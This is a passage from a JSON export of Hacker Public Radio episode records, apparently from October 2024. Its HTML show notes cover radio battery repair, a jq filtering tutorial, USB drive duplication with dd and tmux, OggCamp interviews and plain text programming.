                                                              • Comment 2:\nMrX on 2024-09-30:\n\"Re Engineering\"

                                                              \n
                                                            • hpr4214\n(2024-09-26) \"Making Waves Day 2\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-09-26:\n\"Love these!\"

                                                              \n
                                                            • hpr4216\n(2024-09-30) \"Down the rabbit hole.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBeeza on 2024-10-03:\n\"Good Samaritans\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2024-September/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Repairing\nshows where external files have been lost

                                                            \n
                                                              \n
                                                            • The further back in time we go with these repairs, the more\nchallenging they tend to become because of the variations in the way\nshows were put together. It has been difficult to process more than five\na day, and there have been a few breaks along the way!

                                                            • \n
                                                            • The current state of the project is that it has been\ncompleted:

                                                            • \n
                                                            \n
                                                                +------------+------------+--------------+------------------+\n    |    date    | repairable | repair_count | unrepaired_count |\n    +------------+------------+--------------+------------------+\n    | 2024-10-03 | 352        | 352          | 0                |\n    +------------+------------+--------------+------------------+
                                                            \n
                                                              \n
                                                            • All of the processed shows have access to their transcripts, which\nare held on archive.org. However, there remains the need to make\ntranscripts available to the older shows which have no external\nfiles.
                                                            • \n
                                                            \n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4222,"date":"2024-10-08","title":"Replacing backup batteries in my Kenwood TS940S HF Radio Part 5","duration":969,"summary":"Part 5 deals with the removal of the original 40 year old PLL backup battery.","notes":"

                                                            Picture 1
                                                            \n
                                                            \nShows the EPROM (Erasable Programmable Read Only Memory) fitted with a\nlabel marked JAF7. EPROM's can be erased by removing the sticker and\nexposing the device to strong ultraviolet light. I incorrectly refer to\nit as a PROM (Programmable Read Only Memory. Below it is the old leaking\nPLL backup battery.

                                                            \n

                                                            Wikipedia article about\nEPROM’s (Erasable Programmable Read Only Memory)

                                                            \n

                                                            Link\n/ example of a Fluke 77 DMM (Digital Multi Meter) I mention that I\nused it to check the battery voltage of the original PLL backup battery\nwhich I think was manufactured around 1984. I was very surprised to find\nthat the battery which is likely 40 years old had a battery voltage of\n3.2V which is a healthy voltage. The battery still needed changed due to\nliquid (probably acid) which can be seen in picture 1 being present on\nthe top surface of the battery.

                                                            \n

                                                            Picture 2
                                                            \n
                                                            \nShows me extending the new battery terminal using the leg of a 1.8 kilo\nohm resistor. Note that the resistor leg is shiny because this time I\nscraped away the surface oxidation using pliers prior to soldering it in\nplace. This improves the final solder joint.

                                                            \n

                                                            I mention I have\nan EC2000 Weller Electronically controlled soldering station. Here is a\nlink to an example I found

                                                            \n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"Amateur, Radio, DIY, repair, electronics, soldering","version":0,"downloads":0,"valid":1}, {"id":4223,"date":"2024-10-09","title":"Movie review of The Artifice Girl","duration":2067,"summary":"Sgoti butchers a movie review of The Artifice Girl","notes":"

                                                            Movie review of The Artifice\nGirl

                                                            \n

                                                            Sgoti\nbutchers a movie review of The Artifice Girl

                                                            \n
                                                              \n
                                                            • Tags: movie review, LinuxLUGcastz
                                                            • \n
                                                            \n

                                                            Welcome\nto Episode 237 the LinuxLUGcastz

                                                            \n

                                                            The\nArtifice Girl

                                                            \n

                                                            The Artifice Girl is a 2022 science fiction psychological thriller\nwritten and directed by Franklin Ritch, produced by Aaron B. Koontz and\nreleased direct to VOD. It stars Tatum Matthews, Sinda Nichols, David\nGirard, Lance Henriksen, and Franklin Ritch. NGO agents discover a\nrevolutionary Artificial intelligence (AI) computer program that uses a\ndigital child to catch online predators, it advances far more rapid than\nthey could have imagined, posing unforeseen challenges for the\nrelationship between humans and AI.

                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"MovieReview, LinuxLUGcastz","version":0,"downloads":0,"valid":1}, {"id":4224,"date":"2024-10-10","title":"Auto shop interaction","duration":414,"summary":"Archer72 rambles about an experience in a Wal-Mart oil change shop","notes":"

                                                            Archer72 rambles about an experience in a Wal-Mart oil change shop,\nand a positive interaction with a customer there.

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"AutoMaintenance,AutoShop","version":0,"downloads":0,"valid":1}, {"id":4225,"date":"2024-10-11","title":"Chewing the rag with Kristoff and Ken","duration":3175,"summary":"Kristoff Bonne ON1ARF and Ken Fallon PA7KEN chat about HAM and Hackers","notes":"

                                                            Known in the Hacker world as the Ham Radio Guy at FOSDEM,\nKristoff Bonne ON1ARF, and\nKen Fallon\nPA7KEN/G5KEN sit down to\ndiscuss\n\"vergrijzing,\nchanging attitudes, and increasing participation in the Amateur Radio\nCommunity.\"

                                                            \n","hostid":30,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"FOSDEM,HAM","version":0,"downloads":0,"valid":1}, {"id":4226,"date":"2024-10-14","title":"JAMBOREE and Taco Bell!","duration":1122,"summary":"SOC Fortress CoPilot / Velociraptor / Wazuh and Taco Bell Quesadilla Sauce!","notes":"

                                                            JAMBOREE.rmccurdy.com :\nSOCFortress CoPilot / Velociraptor / Wazuh

                                                            \n

                                                            Copycat Taco Bell Quesadilla\nSauce

                                                            \n
                                                            PREP TIME\n5 minutes\n\nTOTAL TIME\n5 minutes\n\nIngredients\n½ cup mayonnaise\n½ cup sour cream\n3 Tablespoons pickled jalapeno juice (from a jar of pickled jalapenos)\n3 Tablespoons pickled jalapenos (diced)\n2 teaspoon paprika\n2 teaspoons ground cumin\n1 teaspoon garlic granules\n1 teaspoon onion powder\n½ teaspoon salt (or to taste)\n½ teaspoon chili powder
                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"cooking, hacking","version":0,"downloads":0,"valid":1}, {"id":4227,"date":"2024-10-15","title":"Introduction to jq - part 3","duration":1553,"summary":"More filters","notes":"
                                                            \n

                                                            Overview

                                                            \n

                                                            In this episode we will continue looking at basic filters. Then we\nwill start looking at the feature that makes jq very\npowerful, the ability to transform JSON from one form to another. In\nessence we can read and parse JSON and then construct an alternative\nform.

                                                            \n

                                                            More basic filters

                                                            \n

                                                            Array/String Slice:\n.[<number>:<number>]

                                                            \n

                                                            This filter allows parts of JSON arrays or strings to be\nextracted.

                                                            \n

                                                            The first number is the index of the elements of the array or string,\nstarting from zero. The second number is an ending index, but it means\n\"up to but not including\". If the first index is omitted it refers to\nthe start of the string or array. If the second index is blank it refers\nto the end of the string or array.

                                                            \n

                                                            This example shows using an array and extracting part of it:

                                                            \n
                                                            $ x="[$(seq -s, 1 10)]"\n$ echo "$x"\n[1,2,3,4,5,6,7,8,9,10]\n$ echo "$x" | jq -c '.[3:6]'\n[4,5,6]
                                                            \n

                                                            Here we use the seq command to generate the numbers 1-10\nseparated by commas in a JSON array. Feeding this to jq on\nits standard input with the slice request '.[3:6]' results\nin a sub-array from element 3 (containing value 4), up to but not\nincluding element 6 (containing 7). Note that using the\n'-c' option generates compact output, as we discussed in\nthe last episode.

                                                            \n

                                                            For a string, the idea is similar, as in:

                                                            \n
                                                            $ echo '"Hacker Public Radio"' | jq '.[7:10]'\n"Pub"
                                                            \n

                                                            Notice that we provide the JSON string quotes inside single quotes\nfollowing echo. The filter '.[7:10]' starts\nfrom element 7 (letter \"P\") up to but not including element 10\n(letter \"l\").

                                                            \n

                                                            Both of the numbers may be negative, meaning that they are offsets\nfrom the end of the array or string.

                                                            \n

                                                            So, using '.[-7:-4]' in the array example gives the same\nresult as '.[3:6]', as do '.[3:-4]' and\n'.[-7:6]'. This example uses the x variable\ncreated earlier:

                                                            \n
                                                            $ for f in '.[-7:-4]' '.[3:6]' '.[3:-4]' '.[-7:6]'; do\n> echo "$x" | jq -c  "$f"\n> done\n[4,5,6]\n[4,5,6]\n[4,5,6]\n[4,5,6]
                                                            \n

                                                            Similarly, using '.[-12:-9]' gives the same result as\n'.[7:10]' when used with the string.

                                                            \n
                                                            $ echo '"Hacker Public Radio"' | jq '.[-12:-9]'\n"Pub"
                                                            \n

                                                            As a point of interest, I wrote a little Bash loop to show the\npositive and negative offsets of the characters in the test string -\njust to help me visualise them. See the footnote1 for details.

                                                            \n

                                                            Finally, here is how to get the last character of the example string\nusing positive and negative offsets:

                                                            \n
                                                            $ echo '"Hacker Public Radio"' | jq '.[18:]'\n"o"\n$ echo '"Hacker Public Radio"' | jq '.[-1:]'\n"o"
                                                            \n

                                                            Array/Object Value Iterator:\n.[]

                                                            \n

                                                            This filter generates values from iterating through an array or an\nobject. It is similar to the .[index] syntax we have\nalready seen, but it returns all of the array elements:

                                                            \n
                                                            $ arr='["Kohinoor","plastered","downloadable"]'\n$ echo "$arr" | jq '.[]'\n"Kohinoor"\n"plastered"\n"downloadable"
                                                            \n

                                                            The strings in the array are returned separately, not as an array.\nThis is because this is an iterator, and its output can be linked to\nother filters.

                                                            \n

                                                            It can also be used to iterate over values in an object:

                                                            \n
                                                            $ obj='{"name": "Hacker Public Radio", "type": "Podcast"}'\n$ echo "$obj" | jq '.[]'\n"Hacker Public Radio"\n"Podcast"
                                                            \n

                                                            This iterator does not work on other data types, just arrays and\nobjects.

                                                            \n

                                                            An alternative iterator .[]? exists which ignores\nerrors:

                                                            \n
                                                            $ echo "true" | jq '.[]'\njq: error (at <stdin>:1): Cannot iterate over boolean (true)
                                                            \n

                                                            Ignoring errors:

                                                            \n
                                                            $ echo "true" | jq '.[]?'
                                                            \n

                                                            Using multiple filters

                                                            \n

                                                            There are two operators that can be placed between filters to combine\ntheir effects: the comma (',') and the\npipe ('|').

                                                            \n

                                                            Comma operator

                                                            \n

                                                            The comma (',') operator allows you to chain together\nmultiple filters. As we already know, the jq program feeds\nthe input it receives on standard input or from a file into whatever\nfilter it is given. So far we have only seen a single filter being\nused.

                                                            \n

                                                            With the comma operator the input to jq is fed to all of\nthe filters separated by commas in left to right order. The result is a\nconcatenation of the output of all of these filters.

                                                            \n

                                                            For example, if we take the output from the HPR stats page which was\nmentioned in part 1\nof this series of shows, and store it in a file called\nstats.json we can view two separate parts of the JSON like\nthis:

                                                            \n
                                                            $ curl -s https://hub.hackerpublicradio.org/stats.json -O\n\n$ jq '.shows , .queue' stats.json\n{\n  "total": 4756,\n  "twat": 300,\n  "hpr": 4456,\n  "duration": 7640311,\n  "human_duration": "0 Years, 2 months, 29 days, 10 hours, 18 minutes and 31 seconds"\n}\n{\n  "number_future_hosts": 6,\n  "number_future_shows": 18,\n  "unprocessed_comments": 0,\n  "submitted_shows": 0,\n  "shows_in_workflow": 51,\n  "reserve": 20\n}
                                                            \n

                                                            This applies the filter .shows (an object\nidentifier-index filter, see part 2)\nwhich returns the contents of the object with that name, then it applies\nfilter .queue which returns the relevant JSON object.

                                                            \n

                                                            Pipe operator

                                                            \n

                                                            The pipe ('|') operator combines filters by feeding the\noutput of the first (left-most) filter of a pair into the second\n(right-most) filter of a pair. This is analogous to the way the same\nsymbol works in the Unix shell.

                                                            \n

                                                            For example, if we extract the 'shows' object from\nstats.json, we can then extract the value of the\ntotal' key' as follows:

                                                            \n
                                                            $ jq '.shows | .total' stats.json\n4756
                                                            \n

                                                            Interestingly, chaining two object identifier-index filters\ngives the same output:

                                                            \n
                                                            $ jq '.shows.total' stats.json\n4756
                                                            \n

                                                            (Note: to answer the question in the audio, the two filters shown can\nalso be written as '.shows .total' with intervening\nspaces.)

                                                            \n

                                                            We will see the pipe operator being used in many instances in\nupcoming episodes.

                                                            \n

                                                            Parentheses

                                                            \n

                                                            It is possible to use parentheses in filter expressions in a similar\nway to using them in arithmetic, where they group parts together and can\nchange the normal order of operations. They can be used in other\ncontexts too. The example is a simple arithmetic one:

                                                            \n
                                                            $ jq '.shows.total + 2 / 2' stats.json\n4757\n$ jq '(.shows.total + 2) / 2' stats.json\n2379
                                                            \n

                                                            Examples

                                                            \n

                                                            Finding country data #1

                                                            \n

                                                            Here we are using a file called countries.json obtained\nfrom the GitHub\nproject listed below. This file is around 39,000 lines long so it is\nnot being distributed with the show. However, it's quite interesting and\nyou are encouraged to grab a copy and experiment with it.

                                                            \n

                                                            I will show ways in which the structure can be examined and reported\nwith jq in a later show, but for now I will show an example\nof extracting data:

                                                            \n
                                                            $ jq '.[42] | .name.common , .capital.[]' countries.json\n"Switzerland"\n"Bern"
                                                            \n
                                                              \n
                                                            • The file contains an array of country objects; the one with index 42\nis Switzerland.
                                                            • \n
                                                            • The name of the country is in an object called \"name\",\nwith the common name in a keyed field called \"common\", thus\nthe filter .name.common.
                                                            • \n
                                                            • In this country object is an object called \"capital\"\nholding an array containing the name (or names) of the capital city (or\ncities). The filter .capital.[] obtains and displays the\ncontents of the array.
                                                            • \n
                                                            • Note that we used a comma operator between the\nfilters.
                                                            • \n
                                                            \n

                                                            Finding country data #2

                                                            \n

                                                            Another search of the countries.json file, this time\nlooking at the languages spoken. There is an object called\n\"languages\" which contains abbreviated language names as\nkeys and full names as the values:

                                                            \n
                                                            $ jq '.[42] | .name.common , .capital.[] , .languages' countries.json\n"Switzerland"\n"Bern"\n{\n  "fra": "French",\n  "gsw": "Swiss German",\n  "ita": "Italian",\n  "roh": "Romansh"\n}
                                                            \n
                                                              \n
                                                            • Using the filter .languages we get the whole object,\nhowever, using the iterator .[] we get just the\nvalues.
                                                            • \n
                                                            \n
                                                            $ jq '.[42] | .name.common , .capital.[] , .languages.[]' countries.json\n"Switzerland"\n"Bern"\n"French"\n"Swiss German"\n"Italian"\n"Romansh"
                                                            \n
                                                              \n
                                                            • This has some shortcomings, we need the construction\ncapabilities of jq to generate more meaningful output.
                                                            • \n
                                                            \n

                                                            Next episode

                                                            \n

                                                            In the next episode we will look at construction - how new\nJSON output data can be generated from input data.

                                                            \n

                                                            Links

                                                            \n\n\n\n
                                                              \n
                                                            • Previous episodes:\n
                                                                \n
                                                              • Introduction\nto jq - part 1
                                                              • \n
                                                              • Introduction\nto jq - part 2
                                                              • \n
                                                            • \n
                                                            \n\n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"JSON,JavaScript Object Notation,jq,jq filter,jq language","version":0,"downloads":0,"valid":1}, {"id":4228,"date":"2024-10-16","title":"Auditing Audio Files For Youtube","duration":244,"summary":"I detail a technique to ensure all music used on my Youtube channel is free from copyright claims","notes":"\n","hostid":430,"series":38,"explicit":0,"license":"CC-BY-SA","tags":"Audio,Video,Youtube,Abraham Wald,Operational Research","version":0,"downloads":0,"valid":1}, {"id":4229,"date":"2024-10-17","title":"Neurodiversity and Hacking","duration":1289,"summary":"Lee talks to Matthew about the link between neurodiversity and hacking.","notes":"

                                                            Lee talks to Matthew about the link between neurodiversity and using\nsystems in ways they were not designed for.

                                                            \n

                                                            A short biography:

                                                            \n

                                                            Matthew Bellringer is a neurodiversity and innovation specialist who\nspecialises in supporting work that addresses problems from a unique\nperspective, co-production, and regenerative working practices. More\ndetails on Matthew's\nwebsite.

                                                            \n

                                                            Matthew is also Chair and Co-founder of NeurodiverseIT, a group for\nneurodivergent IT professionals within BCS, the Chartered Institute of IT and\nthe organiser and founder of Curious\nBeing, a community for unconventional people who want to make the\nworld a better place. Matthew is a late-discovery autistic ADHDer.

                                                            \n","hostid":403,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"neurodiversity, hacking","version":0,"downloads":0,"valid":1}, {"id":4230,"date":"2024-10-18","title":"Playing Civilization IV, Part 2","duration":749,"summary":"We continue our look at the mechanics of this game","notes":"

                                                            Civilization IV made some changes, and in this episode we look at\nBuild Queues, Research, and Wonders.

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://www.palain.com/gaming/civilization-iv/playing-civilization-iv-part-2/
                                                            • \n
                                                            \n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization IV","version":0,"downloads":0,"valid":1}, {"id":4231,"date":"2024-10-21","title":"Duplicating Multiple USB Flash Drives with DD and Tmux on FreeBSD","duration":952,"summary":"Claudio describes his process for mass USB flash drive duplication with FreeBSD, tmux, and dd.","notes":"

                                                            Pre-planning and creating\nyour image:

                                                            \n
                                                              \n
                                                            1. Create your image with your preferred disk image creation tool. I\nused USB Image Tool to create an image from my \"golden master\" Windows\n11 installation thumb drive A. USB Image Tool: https://www.alexpage.de/usb-image-tool
                                                            2. \n
                                                            \nPrepare\nyour Tmux session on your Linux or BSD-based system.\n
                                                              \n
                                                            1. 'tmux new -s $sessionName' to create a new Tmux session\nwindow with a session name of your choice.
                                                            2. \n
                                                            3. 'Ctrl-B-\"' to create a horizontal split, putting one\npane over the other.
                                                            4. \n
                                                            5. 'Ctrl-B-%' to create a vertical split, putting one pane\nnext to the other.
                                                            6. \n
                                                            7. 'Ctrl-B-UpArrow' or 'Ctrl-B-DownArrow' to\nmove to the pane you want to split if you split the window with a\nhorizontal line.
                                                            8. \n
                                                            9. 'Ctrl-B-LeftArrow' or 'Ctrl-B-RightArrow'\nto move to the pane you want to split if you split the window with a\nvertical line.
                                                            10. \n
                                                            \n

                                                            https://tmuxcheatsheet.com/

                                                            \nDuplicate\n4 USB thumb drives from a disk image within your new, split-paned Tmux\nsession:\n
                                                              \n
                                                            • CHECK DMESG FOR THE CORRECT DEVICE NAME AND WRITE IT\nDOWN!!!\n
                                                                \n
                                                              • FreeBSD will show dmesg output on TTYv0, or you can use the dmesg\ncommand on Linux or BSD. You don't want to end up wiping your system\ndrive!
                                                              • \n
                                                            • \n
                                                            • Within your Tmux session:\n
                                                                \n
                                                              • Pane 1:\n'dd if=$diskImageName of=/dev/da0 bs=1M status=progress' to\nbegin imaging USB thumb drive #1.
                                                              • \n
                                                              • Pane 2:\n'dd if=$diskImageName of=/dev/da1 bs=1M status=progress' to\nbegin imaging USB thumb drive #2.
                                                              • \n
                                                              • Pane 3:\n'dd if=$diskImageName of=/dev/da2 bs=1M status=progress' to\nbegin imaging USB thumb drive #3.
                                                              • \n
                                                              • Pane 4:\n'dd if=$diskImageName of=/dev/da3 bs=1M status=progress' to\nbegin imaging USB thumb drive #4.
                                                              • \n
                                                              • 'Ctrl-B-:' to call the Tmux command prompt, followed by\n'setw synchronize-panes' to sync the 4 panes to your\ncommands. The primary pane will be highlighted in red, and the secondary\npanes will copy whatever command it typed into that primary pane.
                                                              • \n
                                                              • Hit Enter to begin the process on all 4 panes.
                                                              • \n
                                                              • When the image finishes, you can remove the USB thumbs drives, pop\nin 4 more, hit the Up arrow on the primary pane to pull up the previous\ncommands on their respective panes, and hit Enter. When in doubt, refer\nto Step 0!!
                                                              • \n
                                                              • Repeat as needed.
                                                              • \n
                                                            • \n
                                                            \n

                                                            If you need to de-synchronize your Tmux panes, just type\n'Ctrl-:' to call the Tmux command prompt, followed by\n'setw synchronize-panes' to toggle pane synchronization on\nand off (or you can use the up arrow at the Tmux command prompt to bring\nup that previously-typed command).

                                                            \n

                                                            The faster your USB ports and USB thumb drives, the better!

                                                            \n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"freebsd,tmux,dd,windows,usb,diskduplication,duplication","version":0,"downloads":0,"valid":1}, {"id":4232,"date":"2024-10-22","title":"Replacing backup batteries in my Kenwood TS940S HF Radio Part 6","duration":1333,"summary":"Part 6 is the final episode it deals with fitting the new replacement PLL backup battery.","notes":"

                                                            Picture 1
                                                            \n
                                                            \nShows me attaching the leg of a resistor to the new backup battery. This\nis to extend the battery terminal length so that it can be soldered\nbetween the two connecting battery posts of the radio Printed Circuit\nBoard.

                                                            \n

                                                            Picture 2
                                                            \n
                                                            \nShows the newly fitted PLL backup battery with it’s extended terminal\nfitted directly below the EPROM labelled JAF7.

                                                            \n

                                                            Picture 3
                                                            \n
                                                            \nShows the speaker sitting within a metal box. This box sits on top of\nthe screened metal box housing the PLL backup battery. When I was\nrefitting the speaker box I discovered there were extra badly soldered\ngrey wires attached to the speaker terminals. The other end of the wires\nwas covered with black electrical insulating tape. I removed these extra\ngrey wires from the speaker to prevent them from coming adrift and or\ncausing a short circuit within the radio.

                                                            \n

                                                            I mention the trick of using blue-tak to hold a difficult screw when\ninserting it into a tight recess. Wikipedia article about\nBlu Tack

                                                            \n","hostid":201,"series":43,"explicit":1,"license":"CC-BY-SA","tags":"Amateur, Radio, DIY, repair, electronics, soldering","version":0,"downloads":0,"valid":1}, {"id":4233,"date":"2024-10-23","title":"OggCamp 2024 Day 1","duration":1822,"summary":"Interviews from Day one of OggCamp 2024 from Manchester","notes":"

                                                            James Baker campaigns and advocacy manager with the open rights\ngroup

                                                            \n
                                                              \n
                                                            • https://www.openrightsgroup.org/
                                                            • \n
                                                            \n

                                                            John Chadfield, and Iran Kohen, from the Union for Tech workers

                                                            \n\n

                                                            Margaret Low from the University of Warwick

                                                            \n
                                                              \n
                                                            • https://warwick.ac.uk/fac/sci/wmg/about/our-journey/margaret-low/
                                                            • \n
                                                            \n

                                                            Kevie, Andrew, Dave, Al

                                                            \n
                                                              \n
                                                            • https://tuxjam.otherside.network/
                                                            • \n
                                                            • https://mastodon.me.uk/@kevie
                                                            • \n
                                                            • https://mastodon.me.uk/@mcnalu
                                                            • \n
                                                            • https://mastodon.me.uk/@thelovebug
                                                            • \n
                                                            • https://mastodon.me.uk/@mralc
                                                            • \n
                                                            \n

                                                            George Doscher

                                                            \n
                                                              \n
                                                            • https://mastodon.social/@geospart
                                                            • \n
                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OggCamp2024,OpenRightsGroup,utaw,tuxjam,geospart","version":0,"downloads":0,"valid":1}, {"id":4234,"date":"2024-10-24","title":"OggCamp 2024 Day 2","duration":2437,"summary":"Interviews from Day two of OggCamp 2024 from Manchester","notes":"

                                                            Dan Lynch
                                                            \n- https://www.danlynch.org/
                                                            \n- https://mastodon.social/@methoddan

                                                            \n

                                                            Terence Eden
                                                            \n- https://openbenches.org/
                                                            \n- https://shkspr.mobi/blog/
                                                            \n- https://mastodon.social/@edent

                                                            \n

                                                            Simon Phipps from Public Software CIC
                                                            \n- https://publicsoftware.eu/
                                                            \n- https://webmink.com/
                                                            \n- https://meshed.cloud/@webmink

                                                            \n

                                                            Dan gave a lightning talk
                                                            \n- https://fosstodon.org/@danielittlewood
                                                            \n- https://danielittlewood.xyz/

                                                            \n

                                                            MrX, Dave Morriss, and Ken Fallon from Hacker Public Radio
                                                            \n- https://hackerpublicradio.org
                                                            \n- https://hackerpublicradio.org/correspondents/0201.html
                                                            \n- https://hackerpublicradio.org/correspondents/0225.html
                                                            \n- https://mastodon.sdf.org/@perloid
                                                            \n- https://hackerpublicradio.org/correspondents/0030.html
                                                            \n- https://mastodon.sdf.org/@ken_fallon

                                                            \n

                                                            Closing off with Gary Williams who organized the event.
                                                            \n- https://mastodon.social/@garythewilliams
                                                            \n- https://gary.thewilliams.ie/
                                                            \n- https://linuxafterdark.net/
                                                            \n- https://hybridcloudshow.com/
                                                            \n- https://www.oggcamp.org/

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OggCamp2024,methoddan,edent,webmink,danielittlewood,perloid,ken_fallon,garythewilliams","version":0,"downloads":0,"valid":1}, {"id":4235,"date":"2024-10-25","title":"What Is Plain Text Programming?","duration":476,"summary":"In which I go into detail about what I mean when I talk about a Plain Text Program.","notes":"

                                                            Episode 3 - What Is A\nPlain Text Program?

                                                            \n

                                                            What Is A Plain Text Program?

                                                            \n

                                                            Today I'm going to go into more detail about what I mean when I say\nPlain Text Program. I want to emphasize that this is just me. Others may\nhave different ideas on this topic. This is how I try to write Plain\nText Programs. I will feature other people's work that I still consider\nto be Plain Text Programs that do not follow all of these\nguidelines.

                                                            \n

                                                            I want to thank the hosts on the monthly HPR Community News podcast\nfor inspiring me. They had questions. I also want to thank those making\ncomments. I'm new to Hacker Public Radio and I will try to be more\ntimely responding to comments in the future.

                                                            \n

                                                            What Is A Plain Text File?

                                                            \n

                                                            Text files are usually edited in a text editor or in a word processor\nand saved with the .txt extension. They consist of a string of\ncharacters. Text files can be divided into lines using the newline\ncharacter, \\n, or the carriage return and newline\ncharacters, \\r\\n. You don't have to type these characters.\nYour editor puts them in for you.

                                                            \n

                                                            Text files do not have to use the .txt extension. Most programming\nfiles, like .php or .c files are plain text. I will only be discussing\nprograms that are open source and that store their code in text\nfiles.

                                                            \n

                                                            Plain text configuration files often have no extension. For my Plain\nText Programs I use config.inc.

                                                            \n

                                                            There is no difference between text files and plain text files.\nPeople often say plain text files to distinguish them from word\nprocessor files like .doc or .odt files.

                                                            \n

                                                            Plain Text Programs use text files to store text like a title or a\nblog post. When I talk about Plain Text Programs I also mean something\nmore than this. That's what this podcast is about.

                                                            \n

                                                            No Database?

                                                            \n

                                                            Plain Text Programs do not use a database like mysql or postgres.\nAlso the file system does not imitate a database, creating keys,\nindexing, etc.

                                                            \n

                                                            Instead the file system performs the database functions by accessing\nfiles which can be text files, graphics files, or other files. These\nfiles can be all in one directory or in multiple directories in a single\ndirectory tree.

                                                            \n

                                                            If password security is required in a Plain Text Program that runs on\nthe internet I make an exception to the single tree rule to allow\npasswords to be stored outside of the webspace.

                                                            \n

                                                            So the assets a Plain Text Program accesses are just files in the\nfile system.

                                                            \n

                                                            No HTML Or Other Markup\nRequired

                                                            \n

                                                            I have no rule against allowing html or other markup. But I do not\nassume that the maintainer knows how to do this or wants to learn it.\nThe reason I started writing Plain Text Programs was to avoid html\nmarkup. I want to be able to type text files, save them, and upload\nthem, without being concerned about anything except the text itself.

                                                            \n

                                                            The text files holding the content are written in block paragraph\nstyle with a blank line between paragraphs. Text files are not required\nin a Plain Text Program but most Plain Text Programs do use some text\ndata which should be stored in text files.

                                                            \n

                                                            If this is a web application, links can be copied and pasted from the\nbrowser with no additional markup required.

                                                            \n

                                                            Other assets in the directory, like .gif, .jpg, or .png images,\ndisplay automatically.

                                                            \n

                                                            I use the file names for meta data like title, caption, or sort\norder. I can also sort chronologically using the file timestamps.

                                                            \n

                                                            If there is a hierarchy of directories the program can use the\ndirectory name of the child directories for the link text. For instance\nthe Delta Musicians directory tree can have a Table Of Contents at the\ntop level that lists the musicians in alphabetical order. Each musician\ngets their own subdirectory and the name of that subdirectory is used to\ngenerate the link and link text for that page.

                                                            \n

                                                            Then, each page can use Dirt Simple Photo Gallery and the program\ngenerates the caption from the image's file name.

                                                            \n

                                                            All configuration is also done in a text file. I use a well\ndocumented config.inc file that initializes php variables.\nThe maintainer of the application is never required to edit source\ncode.

                                                            \n

                                                            Does Plain Text\nMean There Is No GUI Interface?

                                                            \n

                                                            No. I write mostly web apps so they run in the browser interface.\nAlso, Plain Text Programs do not require a GUI. It could run in a\nterminal or as a cron job. The program could play a music playlist or\nrun a slideshow with no input at all.

                                                            \n

                                                            What Do\nI Have To Know To Maintain A Plain Text Program?

                                                            \n

                                                            The maintainer of the program will have to be able to 1. Create and\nedit text files in a text editor or word processor 2. Copy and paste\nlinks, iframe embeds, file names, titles, etc. 3. Rename files 4. Upload\nand download with ftp

                                                            \n

                                                            Executive Summary

                                                            \n

                                                            A Plain Text Program does not use a database like sql. Instead it\nstores the assets in the file system and accesses them using the file\nsystem.

                                                            \n

                                                            A Plain Text Program does not require html or other markup. Text\nassets are written in block paragraph format. If the maintainer prefers\nto use a word processor instead of a text editor that's fine as long as\nthe files are saved as text files with the .txt extension. Most word\nprocessors support this.

                                                            \n

                                                            Plain Text Programs can support links if the links are copied and\npasted into the text file with no markup required.

                                                            \n

                                                            Plain Text Programs can support iframe embeds if the embed code is\ncopied and pasted onto its own line in the text file.

                                                            \n

                                                            All of the assets for a Plain Text Program are stored in a single\ndirectory tree. This is one of the main advantages of Plain Text\nPrograms because it makes them easy to backup and restore so they are\nvery portable. I sometimes make an exception to this if I want to save a\npassword on a webserver outside of the webspace.

                                                            \n

                                                            A Plain Text Program uses the file and directory names for meta data\nlike titles, captions, or sort order. The file timestamps can be used\nfor chronological sorting.

                                                            \n

                                                            All configuration is done by editing a well documented text file. The\nmaintainer should not have to edit the program code.

                                                            \n

                                                            The maintainer should be allowed to edit the program code. I will\nonly discuss open source programs that store the program itself in text\nfiles.

                                                            \n

                                                            More Questions?

                                                            \n

                                                            I thought so. Comment on Hacker Public Radio or at Gamer+DBN. I will\ninclude links in the show notes.

                                                            \n","hostid":436,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"programming,plaintext,questions","version":0,"downloads":0,"valid":1}, {"id":4236,"date":"2024-10-28","title":"History of Nintendo","duration":589,"summary":"Join Alexander [Lochyboy] as he gives information about the history of Nintendo","notes":"

                                                            Join Alexander [Lochyboy] as he gives information about the history\nof Nintendo

                                                            \n","hostid":434,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"history, nintendo, gaming, retro","version":0,"downloads":0,"valid":1}, {"id":4237,"date":"2024-10-29","title":"My First OggCamp Experience","duration":1344,"summary":"Kevie shares his thoughts on his first ever OggCamp","notes":"

                                                            Having recently attended OggCamp 2024 in Manchester. Kevie shares\nsome of his thoughts on the event and on the whole experience in\ngeneral.

